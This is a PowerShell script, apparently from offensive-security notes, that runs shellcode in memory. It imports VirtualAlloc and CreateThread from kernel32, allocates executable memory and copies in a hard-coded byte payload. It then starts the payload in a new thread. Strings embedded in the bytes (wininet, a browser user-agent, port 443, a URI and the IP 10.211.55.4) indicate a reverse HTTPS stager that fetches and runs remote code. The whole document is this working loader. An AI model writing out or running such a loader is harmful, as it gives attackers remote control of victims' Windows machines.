PowerShell Shellcode Runner

Simple PowerShell Runner

run.ps1

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
        uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
            uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle,
        UInt32 dwMilliseconds);
}
"@

Add-Type $Kernel32

[Byte[]] $buf = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0xf,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0x49,0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x1,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x1,0xd0,0x8b,0x58,0x20,0x1,0xd3,0x8b,0x48,0x18,0x50,0x85,0xc9,0x74,0x3c,0x49,0x31,0xff,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xc0,0xc1,0xcf,0xd,0xac,0x1,0xc7,0x38,0xe0,0x75,0xf4,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x6e,0x65,0x74,0x0,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0xe8,0x73,0x0,0x0,0x0,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x4d,0x61,0x63,0x69,0x6e,0x74,0x6f,0x73,0x68,0x3b,0x20,0x49,0x6e,0x74,0x65,0x6c,0x20,0x4d,0x61,0x63,0x20,0x4f,0x53,0x20,0x58,0x20,0x31,0x33,0x5f,0x31,0x29,0x20,0x41,0x70,0x70,0x6c,0x65,0x57,0x65,0x62,0x4b,0x69,0x74,0x2f,0x36,0x30,0x35,0x2e,0x31,0x2e,0x31,0x35,0x20,0x28,0x4b,0x48,0x54,0x4d,0x4c,0x2c,0x20,0x6c,0x69,0x6b,0x65,0x20,0x47,0x65,0x63,0x6b,0x6f,0x29,0x20,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x2f,0x31,0x36,0x2e,0x31,0x20,0x53,0x61,0x66,0x61,0x72,0x69,0x2f,0x36,0x30,0x35,0x2e,0x31,0x2e,0x31,0x35,0x0,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x3,0x53,0x53,0x68,0xbb,0x1,0x0,0x0,0xe8,0xb0,0x0,0x0,0x0,0x2f,0x31,0x55,0x68,0x44,0x37,0x4e,0x75,0x4b,0x68,0x39,0x5f,0x35,0x56,0x50,0x68,0x56,0x6e,0x51,0x72,0x2d,0x33,0x41,0x77,0x4e,0x72,0x71,0x39,0x58,0x73,0x79,0x55,0x0,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x0,0x32,0xe8,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0xa,0x5f,0x68,0x80,0x33,0x0,0x0,0x89,0xe0,0x6a,0x4,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x14,0x68,0x88,0x13,0x0,0x0,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0xe8,0x48,0x0,0x0,0x0,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x68,0x0,0x0,0x40,0x0,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x0,0x20,0x0,0x0,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x7,0x1,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x6b,0xff,0xff,0xff,0x31,0x30,0x2e,0x32,0x31,0x31,0x2e,0x35,0x35,0x2e,0x34,0x0,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5
$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);

[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")